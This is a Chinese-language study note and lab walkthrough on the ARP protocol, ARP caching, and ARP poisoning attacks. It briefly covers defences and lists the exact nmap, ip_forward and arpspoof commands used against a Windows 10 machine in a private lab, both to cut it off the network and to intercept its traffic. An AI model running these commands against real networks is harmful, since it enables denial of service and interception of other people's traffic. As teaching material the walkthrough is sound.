ARP协议
1、各层协议
- 网路层:IP、ARP、ICMP、IGMP、RARP 隧道协议(IPSec协议簇、GRE)、路由协议(RIP、OSPF、IS-IS)
- 传输层:TCP、UDP
- 应用层:SMB、telnet、ssh、http、dhcp、dns、https、pop、imap、smtp、ntp等等
2、ARP协议
- 将一个已知IP地址解析为MAC地址
- 在同一局域网中,需要通过MAC地址进行定位,不同网络通信,主句需要将数据交给网关进行转发,所以主机需要定位自己的网关
- 原理
- 主机发送ARP广播请求,目标主机收到后进行ARP单播响应
3、ARP缓存
- 当主机在网络中进行通信,就会去获取对应MAC地址,从而记录到自身的ARP缓存表中,Windows操作系统中使用
arp -a
来进行查看,当不进行通信时,arp缓存会自动消失,Windows操作系统的arp缓存保存时间为120s - 在Linux系统中一般使用
arp-n
查看缓存表
4、ARP的攻击和欺骗
-
ARP攻击
- 攻击主机发送虚假的arp响应报文,从而被攻击主机访问其他网络时会将数据发送到虚假的MAC地址上,造成断网
-
ARP欺骗
- 攻击主机发送真实的arp响应报文,携带的是自身的真实mac地址,从而被攻击主机访问其他网络时会将数据发送到攻击主机,攻击主机需要开启ip转发,最终携带被攻击访问网站的流量数据
-
防御
- 使用arp静态绑定方式,在路由器和主机上同时绑定
- 设备上的免费arp来持续向主机发送arp应答报文
ARP攻击(断网)
1、环境配置
操作系统 | IP地址 | MAC地址 |
---|---|---|
kali Linux | 192.168.126.131 | 00-0C-29-CB-22-0C |
Windows 10 专业版 | 192.168.126.138 | 00-0C-29-7C-F0-4F |
2、攻击步骤
-
查看arp缓存表
win10运行
arp -a
-
主机扫描
# 使用namp扫描网段内存活的主机 nmap -sP 192.168.126.*
192.168.126.138
确定存活 -
开始攻击
-
kali中运行
# 查看转发功能是否打开(0:关闭,1:打开) cat /proc/sys/net/ipv4/ip_forward # 关闭IP转发功能 echo 0 > /proc/sys/net/ipv4/ip_forward # 使用arpspoof工具 # arpspoof -i 网卡 -t 目标IP 网关 arpspoof -i eth0 -t 192.168.126.138 192.168.126.2
-
在win10中查看arp缓存表
arp -a
可以看见此时与网关192.168.126.2绑定的mac地址已经变成了kali的mac地址了
-
此时在用win10联网测试
ping www.baidu.com
此时win10已经无法联网了
-
ARP欺骗(不断网)
-
前面步骤与APR攻击相同
-
攻击步骤
-
在kali运行
# 查看转发功能是否打开(0:关闭,1:打开) cat /proc/sys/net/ipv4/ip_forward # 开启IP转发功能 echo 1 > /proc/sys/net/ipv4/ip_forward # arpspoof -i 网卡 -t 网关 目标IP arpspoof -i eth0 -t 192.168.126.2 192.168.126.138
-
此时在用win10联网测试
ping www.baidu.com 能发现win10可以进行联网
-